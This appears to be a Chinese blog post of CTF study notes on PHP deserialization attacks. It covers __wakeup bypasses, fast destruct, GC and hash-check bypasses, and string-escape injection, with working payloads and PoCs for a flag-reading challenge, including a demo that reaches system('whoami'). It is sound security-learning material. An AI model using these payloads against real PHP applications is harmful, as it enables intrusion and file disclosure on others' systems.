php反序列化小记(1)
2023-08-24 21:12:20

看了眼自己的笔记,太乱了,还有很多东西都没记,写一下

介绍

php序列化本质上就是将数据转换成便于储存和传递的值,反序列化时逆回原来的数据,有利于传输,不丢失其类和结构
函数 serialize && unserialize

序列化数据的格式

class test{
    public $test1 ="test";

}
$a=new test();
echo serialize($a);


O:4:"test":1:{s:5:"test1";s:4:"test";}
对象类型:名称长度:对象名称:对象个数:{属性类型:属性长度:属性名称;内容类型:内容长度:内容;}

对象类型:Class-O,Array-a。 //在后面还提到对象类型为C的,是arrayObject
变量和参数类型:string-s,int-i,Array-a,引用-R。
序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

当属性变量为private和protected时,最好使用urlencode加密一下,会在属性名称前生成不可见字符

class test{
    private $test1 ="test";
}

$a=new test();
echo serialize($a);

O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00test%00test1%22%3Bs%3A4%3A%22test%22%3B%7D

image.png
注:>=php v7.2 反序列化对访问类别不敏感

魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数

__sleep() //执行serialize()时,先会调用这个函数,session序列化写入时会触发

__destruct()//对象销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
//call和get的区别就是,call是访问不存在/不可访问的函数,get是不存在/不可访问的属性 

__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发  echo,正则匹配,字符串拼接等都会触发

__invoke() //当尝试将对象调用为函数时触发
一般调用形式为($this->b)(),但这种形式还可以用来进行任意函数调用
例如$this->b=[new A,"函数名"],还可以调用一些无参函数如phpinfo()


__construct() 当使用 new 关键字实例化一个对象时,构造函数将会自动调用。
__clone 调用clone方法时候调用

像这种情况也可以直接调用A的销毁

class A {
    public function __destruct()
    {
        echo "A destruct \n";
        // TODO: Implement __destruct() method.
    }

    public function __wakeup(): void
    {
        echo "A wakeup\n";
        // TODO: Implement __wakeup() method.
    }
}

class B{
    public function __destruct()
    {
        echo "B  destruct\n";
        // TODO: Implement __destruct() method.
    }
}

$b = new B();
$b->a=new A();

unserialize(serialize($b));

bypass

wakeupByass

这大概是反序列化中最常见的考点之一,必须学会的

PHP5<5.6.25 或 PHP7<7.0.10

当php的版本在这个区间时,可以通过修改类属性对象的数量来绕过wakeup

class test{
    public $test1 ="test";
}
$a=new test();
echo serialize($a);


O:4:"test":1:{s:5:"test1";s:4:"test";}
          此处1改成2即可,或者在前面用+
php7.3

https://bugs.php.net/bug.php?id=81151
https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#
pop✌写的
用内置类ArrayObject,序列化出来的类型是C,并且可以绕过wakeup,可惜版本锁死7.3

$arr=array("a"=>1,"b"=>2);
$ao=new ArrayObject($arr);
echo serialize($ao);

可以使用的类型

ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize //这个使用的话看下文章,不过有前面的一般也不怎么用后面的

应该还能再开发一些,但是感觉没必要,以后有新的姿势可以学习一下

fast destruct 具体版本我不记得了

https://hackerqwq.github.io/2021/08/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8BFast-Destruct/

正常情况

<?php
class A {
    public function __destruct()
    {
        echo "A destruct \n";
        // TODO: Implement __destruct() method.
    }

    public function __wakeup(): void
    {
        echo "A wakeup\n";
        // TODO: Implement __wakeup() method.
    }
}

class B{
    public function __destruct()
    {
        echo "B  destruct\n";
        // TODO: Implement __destruct() method.
    }
}

//$b = new B();
//$b->a=new A();
//echo serialize($b);
//O:1:"B":1:{s:1:"a";O:1:"A":0:{}}

$str='O:1:"B":1:{s:1:"a";O:1:"A":0:{}}';
unserialize($str);


---------------
A wakeup
B  destruct
A destruct 

删掉最后一个},即可先触发b的destruct

$str='O:1:"B":1:{s:1:"a";O:1:"A":0:{}';
unserialize($str);

-------------
B  destruct
A wakeup
A destruct 
php7-8

https://github.com/php/php-src/issues/9618
需要一个private或者protect属性,大概就是反序列化时去掉private和protected参与序列化时生成的不可见字符即可使wakeup在call后面触发

<?php

class A
{
    public $info;
    protected $end = "1";

    public function __destruct()
    {
        $this->info->func();
    }
}

class B
{
    public $end;

    public function __wakeup()
    {
        $this->end = "exit();";
        echo '__wakeup';
    }

    public function __call($method, $args)
    {
        eval('echo "aaaa";' . $this->end . 'system("whoami");');
    }
}

// $b = new B();
// $a = new A();
// $a->info = $b;
// var_dump(serialize($a));

//         O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"\000A\000end";s:1:"1";}
$data = 'O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}';
unserialize($data);

不过好像还存在其他用法啊,试了一下删个}也可以,
随便删个;还有改变属性键和长度,都会直接不触发wakeup和destruct,但是会调用call
image.png

字符关键词等bypass

如果版本在wakeup bypass的第一种情况时,可以在对象长度前使用+-<等操作

O:+4:"test":1:{s:5:"test1";s:4:"test";}

在绕过一些数值的关键词时,可以大写代表属性或者值类的s,这样就可以识别16进制

class test{
    public $test1;
    public function __destruct()
    {
        echo $this->test1;
    }
}
$s='O:4:"test":1:{S:5:"\74est1";s:4:"test";}';
unserialize($s);


//test
//t --->\74

绕过GC回收

<?php

class test{
    public $test1="aa";

    public function __destruct()
    {
        echo $this->test1."\n";
    }
}


$arr=array(0=>new test(),1=>null);
echo serialize($arr);
//a:2:{i:0;O:4:"test":1:{s:5:"test1";s:2:"aa";}i:1;N;}
//																							将此处1改为0即可正常销毁

//$s='a:2:{i:0;O:4:"test":1:{s:5:"test1";s:2:"aa";}i:0;N;}';
//unserialize($s);



throw new Error();

绕过md5+sha1验证

就是遇见那种要求不相等,但是md5或sha1相等的情况,一般用一些报错类携带str,报错返回的数据都是一样的
可以用

Exception
ErrorException
Error
ParseError
mysqli_sql_exception

使用

$a=new Error($str,1);$b=new Error($str,2);  //得写一排,不然报错返回的行数不一样

//如果遇见那种包含形式的,可以用fastcall(应该是叫这个?)去跑一个

反序列化字符串逃逸

实际上也不难,就是要去算字符串吞与吐的个数
例题NSS - prize5


<?php
error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{

    public $name = 'OTL';
    public $phone = '123666';
    public $email = 'sweet@OTL.com';
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);

    }
    else{
        $cc = new catalogue();
        unserialize(serialize($cc));
    }
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){                //对email字段有检验
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
            echo base64_encode(file_get_contents($escape['email']));

        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>

这里还有个原生类的做法,但是我们这里是为了学习字符串逃逸,就不管了
序列化数据的三个属性都可控,进入序列化,经过abscond对字符串进行处理,最后读取类中的email属性的值,在序列化时email中不能存在flag字符串

溢出做法

class escape{

    public $name="a";
    public $phone="a";
    public $email="./flag.php";
}

$a=new escape();
echo serialize($a);

//O:6:"escape":3:{s:4:"name";s:1:"a";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}
//这是我们最后需要反序列化的数据,当name参数可控时,我们可以通过往name中塞脏数据,通过abscond函数进行字符替换,导致字符溢出,让我们传入name的参数作为反序列化的字符串。

//以name值结尾"开始溢出
//$s='";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}';
//echo strlen($s);
//需要溢出的字符串,长度为53
//";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
//abscond中,NSS长度为3,会被替换成长度为6的hacker,
//我们可以用17个NSS,在加上两个hello,就可以成功溢出53个字符串
//17 * 3 + 2 * 1 = 53
//NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello
//配合我们需要溢出的字符串一起填入name中即可
//NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}

最终poc

function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}

class escape{

    public $name;
    public $phone;
    public $email;
    public function __construct($name,$phone,$email)
    {
        $this->name=$name;
        $this->phone=$phone;
        $this->email=$email;
    }
}
$name='NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}';
$phone="111";
$email="111";
$a=new escape($name,$phone,$email);

$ser=serialize($a);
var_dump(unserialize(abscond($ser)));



class escape#2 (3) {
  public $name =>
  string(114) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  public $phone =>
  string(1) "a"
  public $email =>
  string(10) "./flag.php"
} //逃逸成功

收缩做法

收缩的话,那就要吧他正常序列化的字符串全部吞入,作为name的属性


class escape{

    public $name="name";
    public $phone='phone';
    public $email="./flag";
}

$a=new escape();
echo serialize($a);

//O:6:"escape":3:{s:4:"name";s:4:"name";s:5:"phone";s:5:"phone";s:5:"email";s:6:"./flag";}

//phone的值为 ;s:5:"phone";s:5:"phone";s:5:"email";s:6:"./flag";}
//需要收缩到";s:5:"phone";s:5:"    
//19个字符,需要19个OTL_QAQ
//OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ

poc

<?php

function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
class escape{

    public $name;
    public $phone;
    public $email;
    public function __construct($name,$phone,$email)
    {
        $this->name=$name;
        $this->phone=$phone;
        $this->email=$email;
    }
}
$name="OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ";
$phone=';s:5:"phone";s:5:"phone";s:5:"email";s:6:"./flag";}';
$email="email";

$a=new escape($name,$phone,$email);
$ser=serialize($a);

var_dump(unserialize(abscond($ser)));


class escape#2 (3) {
  public $name =>
  string(133) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"phone";s:51:"
  public $phone =>
  string(5) "phone"
  public $email =>
  string(6) "./flag"
}

字符串逃逸的具体把握只能看对于序列化字符串的了解,具体也没啥好说的

trick

https://hackerqwq.github.io/2021/08/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8BFast-Destruct/#stdClass%E5%92%8C-PHP-Incomplete-Class
内置类使用
如果题目当中没有能够反序列化获取属性的对象,那么可以用stdClass类,这是一个php的内置类

$a = new stdClass();
$a->neutron=&$a->nova;
echo serialize($a);

如果有那种serialize(unserialize($poc))那种检测关键词的,可以看看下面这个trick
反序列化的时候找不到Test类,因此会将这些类都归到__PHP_Incomplete_Class类中
$__PHP_Incomplete_Class_Name变量对应要反序列化的类名

var_dump(unserialize('a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:4:"Test":1:{s:3:"abc";N;}}'));


array(2) {
  [0] =>
  class stdClass#1 (1) {
    public $abc =>
    NULL
  }
  [1] =>
  class __PHP_Incomplete_Class#2 (2) {
    public $__PHP_Incomplete_Class_Name =>
    string(4) "Test"
    public $abc =>
    NULL
  }
}

如果不指定__PHP_Incomplete_Class_Name的话,那么__PHP_Incomplete_Class类下的变量在序列化再反序列化之后就会消失,从而绕过某些关键字
image.png

Prev
2023-08-24 21:12:20
Next